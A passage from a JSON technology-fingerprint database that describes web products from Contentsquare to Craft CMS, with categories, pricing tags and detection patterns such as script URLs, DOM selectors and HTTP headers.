\"\\\\.contentsquare\\\\.net/\"\n    ],\n    \"website\": \"https://contentsquare.com\"\n  },\n  \"Contentstack\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Contentstack is a headless CMS software designed to help businesses deliver personalised content experiences to audiences via multiple channels.\",\n    \"dom\": {\n      \"img[src*='contentstack']\": {\n        \"attributes\": {\n          \"src\": \"\\\\.contentstack\\\\.(?:io|com)/\"\n        }\n      }\n    },\n    \"icon\": \"Contentstack.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.contentstack.com\"\n  },\n  \"ContextBar\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"ContextBar is a tool designed to attract consistent, thematically relevant visitors to a website.\",\n    \"pricing\": [\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.contextbar\\\\.ru/\"\n    ],\n    \"website\": \"https://contextbar.ru\"\n  },\n  \"Contextual Related Posts\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Add related posts to your WordPress site with inbuilt caching.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/contextual-related-posts/']\"\n    ],\n    \"icon\": \"Contextual Related Posts.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/contextual-related-posts/\"\n  },\n  \"Contlo\": {\n    \"cats\": [\n      90,\n      32\n    ],\n    \"description\": \"Contlo is an AI powered marketing software.\",\n    \"icon\": \"Contlo.svg\",\n    \"js\": {\n      \"CONTLO_ENV\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.contlo\\\\.com/\"\n    ],\n    \"website\": \"https://www.contlo.com\"\n  },\n  \"Control\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Control is a freehand website builder that allows users to create beautiful fully-custom responsive sites.\",\n    \"icon\": \"Control.svg\",\n    \"meta\": {\n      \"generator\": \"cntrl\\\\.site\"\n    },\n    \"saas\": true,\n    \"website\": \"https://cntrl.site\"\n  },\n  \"Convead\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"Convead is a CRM marketing platform for ecommerce stores that helps collect data, segment customers, and automate marketing efforts.\",\n    \"icon\": \"Convead.svg\",\n    \"js\": {\n      \"ConveadSettings.app_key\": \"\",\n      \"convead\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://convead.io\"\n  },\n  \"Convermax\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Convermax is a search solution that enhances the search experience for ecommerce website visitors by providing more accurate and relevant results.\",\n    \"icon\": \"Convermax.svg\",\n    \"js\": {\n      \"Convermax.addProductsHistory\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://convermax.com\"\n  },\n  \"Conversant Consent Tool\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Conversant Consent Tool is a free tool to gain GDPR and ePD compliant consent for digital advertising.\",\n    \"icon\": \"Conversant.svg\",\n    \"js\": {\n      \"conversant\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.conversant\\\\.mgr\\\\.consensu\\\\.org/\"\n    ],\n    \"website\": \"https://www.conversantmedia.eu/consent-tool\"\n  },\n  \"Conversio\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Conversio is an optimisation and analytics agency.\",\n    \"icon\": \"Conversio.svg\",\n    \"js\": {\n      \"Conversio.settings\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.conversio\\\\.com/\"\n    ],\n    \"website\": \"https://conversio.com\"\n  },\n  \"Conversio App\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Conversio App is an optimisation and analytics app for Shopify stores.\",\n    \"icon\": \"Conversio.svg\",\n    \"implies\": [\n      \"Conversio\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.conversio\\\\.com/.+\\\\.myshopify\\\\.com\"\n    ],\n    \"website\": \"https://apps.shopify.com/conversio\"\n  },\n  \"Convert\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Convert Experiences is an enterprise A/B testing and personalisation solution for conversion optimisation and data-driven decisions in high-traffic websites.\",\n    \"icon\": \"Convert.svg\",\n    \"js\": {\n      \"convert\": \"\\\\;confidence:34\",\n      \"convertData\": \"\\\\;confidence:33\",\n      \"convert_temp\": \"\\\\;confidence:33\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.convertexperiments\\\\.com/js\"\n    ],\n    \"website\": \"https://www.convert.com\"\n  },\n  \"ConvertBox\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"ConvertBox is a tool that delivers targeted on-site messages based on visitor behavior to generate more leads, sales, and customers.\",\n    \"icon\": \"ConvertBox.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.convertbox\\\\.com/\"\n    ],\n    \"website\": \"https://convertbox.com\"\n  },\n  \"ConvertFlow\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"ConvertFlow is the all-in-one conversion marketing platform.\",\n    \"icon\": \"ConvertFlow.svg\",\n    \"js\": {\n      \"convertflow\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:app|js)\\\\.convertflow\\\\.co\"\n    ],\n    \"website\": \"https://www.convertflow.com\"\n  },\n  \"ConvertKit\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"ConvertKit is an email marketing tool built for content creators.\",\n    \"dom\": [\n      \"form[action*='.convertkit.com'], link[href*='.convertkit.com']\"\n    ],\n    \"icon\": \"ConvertKit.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.convertkit\\\\.com\"\n    ],\n    \"website\": \"https://convertkit.com\"\n  },\n  \"Convertcart\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"ConvertCart helps online businesses deliver outstanding experiences to customers throughout their journey.\",\n    \"icon\": \"Convertcart.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.convertcart\\\\.com\"\n    ],\n    \"website\": \"https://www.convertcart.com/\"\n  },\n  \"Convertim\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Convertim is an ecommerce checkout platform.\",\n    \"icon\": \"Convertim.svg\",\n    \"js\": {\n      \"convertimSetup\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.convertim.com\"\n  },\n  \"ConvertoBot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ConvertoBot is a chatbot and conversational marketing tool.\",\n    \"icon\": \"ConvertoBot.svg\",\n    \"js\": {\n      \"botUrl\": \"app\\\\.convertobot\\\\.com\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.convertobot\\\\.com/\"\n    ],\n    \"website\": \"https://convertobot.com\"\n  },\n  \"Convertr\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Convertr is a Brazilian ecommerce platform, fashion specialist.\",\n    \"icon\": \"Convertr.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Vue.js\",\n      \"Nuxt.js\",\n      \"Amazon Web Services\"\n    ],\n    \"meta\": {\n      \"author\": \"^Convertr Commerce$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://convertr.com.br\"\n  },\n  \"Convertri\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Convertri is a sales funnel building solution.\",\n    \"icon\": \"Convertri.svg\",\n    \"js\": {\n      \"CONVERTRI_CONSTANTS\": \"\",\n      \"ConvertriAnalytics\": \"\",\n      \"convertriParameters\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\",\n      \"recurring\",\n      \"payg\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.convertri\\\\.com/\"\n    ],\n    \"website\": \"https://www.convertri.com\"\n  },\n  \"Converzee\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Converzee is a digital platform created to help companies manage their human resource processes.\",\n    \"icon\": \"Converzee.svg\",\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.converzee\\\\.com/\"\n    ],\n    \"website\": \"https://converzee.com\"\n  },\n  \"ConveyThis\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"ConveyThis is a website translation service.\",\n    \"icon\": \"ConveyThis.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.conveythis\\\\.com\"\n    ],\n    \"website\": \"https://www.conveythis.com/\"\n  },\n  \"Conviva\": {\n    \"cats\": [\n      14,\n      103\n    ],\n    \"description\": \"Conviva is a census, continuous measurement and engagement platform for streaming media.\",\n    \"icon\": \"conviva.svg\",\n    \"js\": {\n      \"Conviva\": \"\",\n      \"Conviva.Client\": \"\",\n      \"Conviva.Client.version\": \"^([0-9\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.conviva.com\"\n  },\n  \"Convrrt\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Convrrt is a platform that offers tools for creating responsive landing pages.\",\n    \"icon\": \"Convrrt.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.convrrt\\\\.com/\"\n    ],\n    \"website\": \"https://www.convrrt.com\"\n  },\n  \"Cookie Assistant\": {\n    \"cats\": [\n      10,\n      67\n    ],\n    \"description\": \"Cookie Assistant is a system designed to manage user consent for cookies while providing analytics.\",\n    \"icon\": \"CookieAssistant.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.cookieassistant\\\\.com/\"\n    ],\n    \"website\": \"https://www.cookieassistant.com\"\n  },\n  \"Cookie Control\": {\n    \"cats\": [\n      67\n    ],\n    \"icon\": \"CookieControl.svg\",\n    \"js\": {\n      \"CookieControl\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.civicuk.com/cookie-control\"\n  },\n  \"Cookie Information\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Cookie Information is a privacy tech company that develops software that helps making company websites and mobile apps GDPR and ePrivacy compliant.\",\n    \"icon\": \"Cookie Information.svg\",\n    \"js\": {\n      \"CookieInformation.config.cdnUrl\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cookieinformation.com\"\n  },\n  \"Cookie Information plugin\": {\n    \"cats\": [\n      87,\n      67\n    ],\n    \"description\": \"Cookie Information plugin helps your website stay compliant with GDPR using a free cookie pop-up, consent log, and more.\",\n    \"icon\": \"Cookie Information.svg\",\n    \"implies\": [\n      \"Cookie Information\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-gdpr-compliance/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wp-gdpr-compliance\"\n  },\n  \"Cookie Notice\": {\n    \"cats\": [\n      67,\n      87\n    ],\n    \"description\": \"Cookie Notice provides a simple, customizable website banner that can be used to help your website comply with certain cookie consent requirements under the EU GDPR cookie law and CCPA regulations and includes seamless integration with Cookie Compliance to help your site comply with the latest updates to existing consent laws.\",\n    \"icon\": \"Cookie Notice.svg\",\n    \"scriptSrc\": [\n      \"/wp-content/plugins/cookie-notice/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/cookie-notice\"\n  },\n  \"Cookie Script\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Cookie-Script automatically scans, categorizes and adds description to all cookies found on your website.\",\n    \"icon\": \"CookieScript.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cookie-script\\\\.com/\"\n    ],\n    \"website\": \"https://cookie-script.com\"\n  },\n  \"Cookie Seal\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Cookie Seal is a tool or system that helps you manage and configure the use of cookies on your website in accordance with data protection laws, ensuring compliance with relevant regulations.\",\n    \"dom\": [\n      \"link[href*='assets.cookieseal.com']\"\n    ],\n    \"icon\": \"Cookie Seal.svg\",\n    \"js\": {\n      \"CookieSeal\": \"\",\n      \"cookieSeal.consentEnabled\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cookieseal\\\\.com/\"\n    ],\n    \"website\": \"https://cookieseal.com\"\n  },\n  \"CookieFirst\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"CookieFirst is an GDPR and CCPA compliant consent management platform.\",\n    \"icon\": \"CookieFirst.svg\",\n    \"js\": {\n      \"cookiefirst_show_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"consent\\\\.cookiefirst\\\\.com/\"\n    ],\n    \"website\": \"https://cookiefirst.com\"\n  },\n  \"CookieHub\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"CookieHub is a platform that helps website owners comply with data privacy regulations such as GDPR and CCPA by providing tools for managing cookie consent, tracking consent preferences, and ensuring legal compliance related to online tracking and data collection practices.\",\n    \"icon\": \"CookieHub.svg\",\n    \"scriptSrc\": [\n      \"cookiehub\\\\.net/.*\\\\.js\"\n    ],\n    \"website\": \"https://www.cookiehub.com\"\n  },\n  \"CookieYes\": {\n    \"cats\": [\n      67\n    ],\n    \"dom\": {\n      \"#cookie-law-info-bar\": {\n        \"text\": \"\"\n      },\n      \"link[href*='/wp-content/plugins/cookie-law-info/']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"cookieyes.svg\",\n    \"js\": {\n      \"cookieYes\": \"\"\n    },\n    \"scriptSrc\": [\n      \"app\\\\.cookieyes\\\\.com/client_data/\",\n      \"cdn-cookieyes\\\\.com/client_data/\",\n      \"/wp-content/plugins/cookie-law-info/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cookieyes.com/\"\n  },\n  \"Cookiebot\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Cookiebot is a cloud-driven solution that automatically controls cookies and trackers, enabling full GDPR/ePrivacy and CCPA compliance for websites.\",\n    \"icon\": \"Cookiebot.svg\",\n    \"js\": {\n      \"Cookiebot.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"consent\\\\.cookiebot\\\\.com\"\n    ],\n    \"website\": \"https://www.cookiebot.com\"\n  },\n  \"Cool Tag Cloud\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"A simple tag cloud system for WordPress.\",\n    \"dom\": [\n      \"link#cool-tag-cloud-css[href*='/wp-content/plugins/cool-tag-cloud/'], .cool-tag-cloud, .widget_cool_tag_cloud, .cool-tag-cloud-open, .cool-tag-cloud-close, .cool-tag-cloud-inner\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/cool-tag-cloud\"\n  },\n  \"Cool Timeline\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Creates vertical and horizontal history timeline blocks.\",\n    \"dom\": [\n      \"link[href*='/plugins/cool-timeline/'], script[src*='/cool-timeline/'], .cooltimeline-body\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/cool-timeline\"\n  },\n  \"Cooladata\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Cooladata is a data warehouse and behavioral analytics platform designed for gaming, elearning, ecommerce, SaaS, and media companies.\",\n    \"icon\": \"Cooladata.png\",\n    \"js\": {\n      \"cooladata\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.cooladata\\\\.com/\"\n    ],\n    \"website\": \"https://www.cooladata.com\"\n  },\n  \"Coopt\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Coopt is a tool designed to boost sales by transforming customers into social media advertisers, leveraging their networks to promote products and services, thus enhancing brand visibility and engagement.\",\n    \"icon\": \"Coopt.svg\",\n    \"js\": {\n      \"cooptjQuery.Animation\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"jQuery\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.getcoopt\\\\.com/\"\n    ],\n    \"website\": \"https://www.getcoopt.com\"\n  },\n  \"Coppermine\": {\n    \"cats\": [\n      7\n    ],\n    \"cpe\": \"cpe:2.3:a:coppermine-gallery:coppermine_photo_gallery:*:*:*:*:*:*:*:*\",\n    \"description\": \"Coppermine is an open-source image gallery application.\",\n    \"html\": [\n      \"<!--Coppermine Photo Gallery ([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Coppermine.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://coppermine-gallery.net\"\n  },\n  \"CopyPoison\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Copypoison is a plagarism protection tool that protects content by replacing text with symbols that are visually similar.\",\n    \"icon\": \"Copypoison.svg\",\n    \"scriptSrc\": [\n      \"copypoison\\\\.com/cp\\\\.js\"\n    ],\n    \"website\": \"https://copypoison.com/\"\n  },\n  \"Cordial\": {\n    \"cats\": [\n      76,\n      32\n    ],\n    \"description\": \"Cordial is a cross-channel marketing and customer engagement platform for enterprise brands to send personalized email, SMS, mobile push notifications.\",\n    \"icon\": \"Cordial.svg\",\n    \"js\": {\n      \"CordialJS\": \"\",\n      \"CordialObject\": \"\",\n      \"Cordial_trackUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cordial\\\\.io/\"\n    ],\n    \"website\": \"https://cordial.com\"\n  },\n  \"Core Framework\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Core Framework is a visual CSS framework for WordPress and other platforms.\",\n    \"dom\": [\n      \"link#core-framework-frontend-css, style#core-framework-inline-inline-css\"\n    ],\n    \"icon\": \"CoreFramework.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://coreframework.com\"\n  },\n  \"CoreMedia Content Cloud\": {\n    \"cats\": [\n      1,\n      95\n    ],\n    \"description\": \"CoreMedia Content Cloud is an agile content management and digital asset management platform.\",\n    \"icon\": \"CoreMedia Content Cloud.svg\",\n    \"meta\": {\n      \"coremedia_content_id\": \"\",\n      \"generator\": \"^CoreMedia C(?:ontent Cloud|MS)$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.coremedia.com\"\n  },\n  \"CoreUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"CoreUI provides cloud hosting, web and mobile design, animations, wireframes, and UX testing services.\",\n    \"icon\": \"CoreUI.svg\",\n    \"js\": {\n      \"coreui\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"webpackJsonp@coreui/coreui\"\n    ],\n    \"website\": \"https://coreui.io\"\n  },\n  \"Corebine\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Corebine is a content management system designed for Sports\",\n    \"dom\": [\n      \"#corebine-app\"\n    ],\n    \"icon\": \"Corebine.png\",\n    \"js\": {\n      \"corebine\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://corebine.com\"\n  },\n  \"Corebook\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Corebook is a platform for brand guidelines, designed to assist creators of brilliant brands in managing their brand.\",\n    \"icon\": \"CoreBook.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.corebook\\\\.io/\"\n    ],\n    \"website\": \"https://www.corebook.io\"\n  },\n  \"Corksy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Corksy is a solution for wineries, offering technology and services aimed at enhancing direct-to-consumer sales.\",\n    \"icon\": \"Corksy.png\",\n    \"implies\": [\n      \"Duda\"\n    ],\n    \"js\": {\n      \"corksyPubSub\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://corksy.io\"\n  },\n  \"Cornerstone\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Enhanced content management for WordPress.\",\n    \"dom\": [\n      \"#cornerstone-generated-css\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"cornerstone(?:\\\\/assets)?(?:\\\\/js)?(?:\\\\/site)?(?:\\\\/cs-classic)?\\\\.?((?:\\\\d+\\\\.)+\\\\d+)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/cornerstone\"\n  },\n  \"Correos\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Correos is a state-owned company responsible for providing postal service in Spain.\",\n    \"icon\": \"Correos.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bCorreos\\\\b\"\n    ],\n    \"website\": \"https://www.correos.es\"\n  },\n  \"Correos Ecommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Correos Ecommerce is an ecommerce platfrom from Spain.\",\n    \"icon\": \"Correos.svg\",\n    \"js\": {\n      \"Comandia\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mycorreosecommerce\\\\.com/\"\n    ],\n    \"website\": \"https://www.correosecommerce.com\"\n  },\n  \"Cosmic\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Cosmic is a cloud-based CMS that provides developers with an API and web interface for content management, enabling the creation of custom content types, relationship definitions, and webhooks for actions based on content changes.\",\n    \"dom\": [\n      \"link[href*='.cosmicjs.com/'], img[src*='.cosmicjs.com/'], img[data-src*='.cosmicjs.com/']\"\n    ],\n    \"icon\": \"cosmicjs.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.cosmicjs.com\"\n  },\n  \"Cosmoshop\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:cosmoshop:cosmoshop:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Cosmoshop.svg\",\n    \"scriptSrc\": [\n      \"cosmoshop_functions\\\\.js\"\n    ],\n    \"website\": \"https://cosmoshop.de\"\n  },\n  \"Cotonti\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:cotonti:cotonti_siena:*:*:*:*:*:*:*:*\",\n    \"description\": \"Cotonti is an open-source content management system and development framework offering flexibility and modularity for building and managing websites and web applications.\",\n    \"icon\": \"Cotonti.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Cotonti\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.cotonti.com\"\n  },\n  \"CouchDB\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"CouchDB/([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"CouchDB.png\",\n    \"website\": \"https://couchdb.apache.org\"\n  },\n  \"Countdown Timer Ultimate\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Add and display responsive Countdown timer on your website.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/countdown-timer-ultimate/']\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/countdown-timer-ultimate\"\n  },\n  \"Countly\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Countly is an open-source analytics platform that provides real-time insights into mobile, web, and desktop applications, offering features such as user segmentation, performance monitoring, and crash analytics to help businesses optimize their digital experiences and user engagement strategies.\",\n    \"icon\": \"Countly.svg\",\n    \"js\": {\n      \"Countly\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://count.ly\"\n  },\n  \"Coureon\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Coureon is a digital logistics carrier for international shipping.\",\n    \"icon\": \"Coureon.png\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bCoureon\\\\b\"\n    ],\n    \"website\": \"https://www.coureon.com\"\n  },\n  \"Coveo\": {\n    \"cats\": [\n      29,\n      76\n    ],\n    \"description\": \"Coveo is an enterprise search and relevance platform that uses AI to enhance search capabilities and deliver personalized content across digital touchpoints.\",\n    \"icon\": \"Coveo.svg\",\n    \"js\": {\n      \"Coveo\": \"\",\n      \"__qubit\": \"\",\n      \"onQubitReady\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.(?:cloud\\\\.coveo|goqubit)\\\\.com\"\n    ],\n    \"website\": \"https://www.coveo.com\"\n  },\n  \"CoverManager\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"CoverManager is a restaurant table booking widget.\",\n    \"dom\": [\n      \"iframe[src*='.covermanager.com/']\"\n    ],\n    \"icon\": \"CoverManager.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.covermanager\\\\.com/\"\n    ],\n    \"website\": \"https://www.covermanager.com\"\n  },\n  \"Covet.pics\": {\n    \"cats\": [\n      96,\n      100\n    ],\n    \"description\": \"Covet.pics is a customizable Shopify app for Instagram and Lookbook shoppable galleries.\",\n    \"icon\": \"Covet.pics.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.covet\\\\.pics/\"\n    ],\n    \"website\": \"https://covet.pics\"\n  },\n  \"Cowboy\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Cowboy is a small, fast, modular HTTP server written in Erlang.\",\n    \"headers\": {\n      \"Server\": \"^Cowboy$\"\n    },\n    \"icon\": \"Cowboy.png\",\n    \"implies\": [\n      \"Erlang\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/ninenines/cowboy\"\n  },\n  \"Cozy AntiTheft\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Cozy AntiTheft helps you to protect your store content, images and texts from being stolen with a few simple clicks.\",\n    \"icon\": \"Cozy AntiTheft.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"cozyEcoAdnsUa\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdncozyantitheft\\\\.addons\\\\.business/\"\n    ],\n    \"website\": \"https://apps.shopify.com/cozy-antitheft-for-images-and-more\"\n  },\n  \"CppCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:cppcms:cppcms:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"^CppCMS/([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"CppCMS.png\",\n    \"website\": \"https://cppcms.com\"\n  },\n  \"Craft CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"CraftSessionId\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Craft CMS is a content management system for building bespoke websites.\",\n    \"headers\": {\n      